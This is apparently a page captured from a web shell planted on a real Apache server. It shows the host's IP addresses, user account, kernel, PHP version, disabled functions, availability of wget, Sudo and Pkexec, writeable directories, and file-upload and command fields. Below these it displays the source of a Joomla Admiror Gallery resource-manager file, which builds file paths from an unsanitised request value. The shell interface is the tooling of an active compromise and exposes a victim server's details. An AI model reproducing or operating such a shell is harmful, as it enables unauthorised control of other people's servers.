Private
Server IP : 195.201.23.43  /  Your IP : 18.224.71.39
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kdecoratie/public_html/administrator/components/com_admirorgallery/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/kdecoratie/public_html/administrator/components/com_admirorgallery/models/resourcemanager.php
<?php

/* ------------------------------------------------------------------------
  # com_admirorgallery - Admiror Gallery Component
  # ------------------------------------------------------------------------
  # author   Igor Kekeljevic & Nikola Vasiljevski
  # copyright Copyright (C) 2014 admiror-design-studio.com. All Rights Reserved.
  # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
  # Websites: http://www.admiror-design-studio.com/joomla-extensions
  # Technical Support:  Forum - http://www.vasiljevski.com/forum/index.php
  # Version: 5.0.0
  ------------------------------------------------------------------------- */
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();

jimport('joomla.application.component.model');
// Preloading joomla tools
jimport('joomla.installer.helper');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.archive');
jimport('joomla.filesystem.folder');

class AdmirorgalleryModelResourcemanager extends JModelLegacy {

    function _install($file) {

        $AG_resourceType = JRequest::getVar('AG_resourceType'); // Current resource type
        $config = JFactory::getConfig();
        $tmp_dest = $config->get('tmp_path');
        $resourceType = substr($AG_resourceType, 0, strlen($AG_resourceType) - 1);

        $file_type = "zip";

        if (isset($file) && !empty($file['name'])) {
            //Clean up filename to get rid of strange characters like spaces etc
            $filename = JFile::makeSafe($file['name']);
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

            $src = $file['tmp_name'];
            $dest = $tmp_dest . DIRECTORY_SEPARATOR . $filename;

            //First check if the file has the right extension
            if ($ext == $file_type) {
                if (JFile::upload($src, $dest)) {

                    if (JArchive::extract($tmp_dest . DIRECTORY_SEPARATOR . $filename, $tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType)) {
                        JFile::delete($tmp_dest . DIRECTORY_SEPARATOR . $filename);
                    }

                    // TEMPLATE DETAILS PARSING
                    if (JFIle::exists($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType . DIRECTORY_SEPARATOR . JFile::stripExt($filename) . DIRECTORY_SEPARATOR . 'details.xml')) {
                        $ag_resourceManager_xml = & JFactory::getXML($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType . DIRECTORY_SEPARATOR . JFile::stripExt($filename) . DIRECTORY_SEPARATOR . 'details.xml');
                        if (isset($ag_resourceManager_xml->type)) {
                            $ag_resourceManager_type = $ag_resourceManager_xml->type;
                        } else {
                            JFolder::delete($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType);
                            JFactory::getApplication()->enqueueMessage(JText::_('AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE') . "&nbsp;" . $filename, 'error');
                            return;
                        }
                    } else {
                        JFolder::delete($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType);
                        JFactory::getApplication()->enqueueMessage(JText::_('AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE') . "&nbsp;" . $filename, 'error');
                        return;
                    }
                    if (($ag_resourceManager_type) && ($ag_resourceManager_type == $resourceType)) {
                        $result = JFolder::move($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType. DIRECTORY_SEPARATOR.JFile::stripExt($filename) , JPATH_SITE . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'content' . DIRECTORY_SEPARATOR . 'admirorgallery' . DIRECTORY_SEPARATOR . 'admirorgallery' . DIRECTORY_SEPARATOR . $AG_resourceType.DIRECTORY_SEPARATOR.JFile::stripExt($filename));
                        if ($result) {
                            JFactory::getApplication()->enqueueMessage(JText::_('AG_ZIP_PACKAGE_IS_INSTALLED') . "&nbsp;" . $filename, 'message');
                        } else {
                            JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_MOVED_ITEM') . "&nbsp;" . $result, 'message');
                        }
                    } else {
                        JFolder::delete($tmp_dest . DIRECTORY_SEPARATOR . $AG_resourceType);
                        JFactory::getApplication()->enqueueMessage(JText::_('AG_ZIP_PACKAGE_IS_NOT_VALID_RESOURCE_TYPE') . "&nbsp;" . $filename, 'error');
                    }
                } else {
                    JFactory::getApplication()->enqueueMessage(JText::_('AG_CANNOT_UPLOAD_FILE_TO_TEMP_FOLDER_PLEASE_CHECK_PERMISSIONS'), 'error');
                }
            } else {
                JFactory::getApplication()->enqueueMessage(JText::_('AG_ONLY_ZIP_ARCHIVES_CAN_BE_INSTALLED'), 'error');
            }
        }
    }

    function _uninstall($ag_cidArray) {
        $AG_resourceType = JRequest::getVar('AG_resourceType'); // Current resource type
        foreach ($ag_cidArray as $ag_cidArrayKey => $ag_cidArrayValue) {
            if (!empty($ag_cidArrayValue)) {
                if (JFolder::delete(JPATH_SITE . DIRECTORY_SEPARATOR . 'plugins' . DIRECTORY_SEPARATOR . 'content' . DIRECTORY_SEPARATOR . 'admirorgallery' . DIRECTORY_SEPARATOR . 'admirorgallery' . DIRECTORY_SEPARATOR . $AG_resourceType . DIRECTORY_SEPARATOR . $ag_cidArrayValue)) {
                    JFactory::getApplication()->enqueueMessage(JText::_('AG_PACKAGE_REMOVED') . "&nbsp;" . $ag_cidArrayValue, 'message');
                } else {
                    JFactory::getApplication()->enqueueMessage(JText::_('AG_PACKAGE_CANNOT_BE_REMOVED') . "&nbsp;" . $ag_cidArrayValue, 'error');
                }
            }
        }
    }

}
Private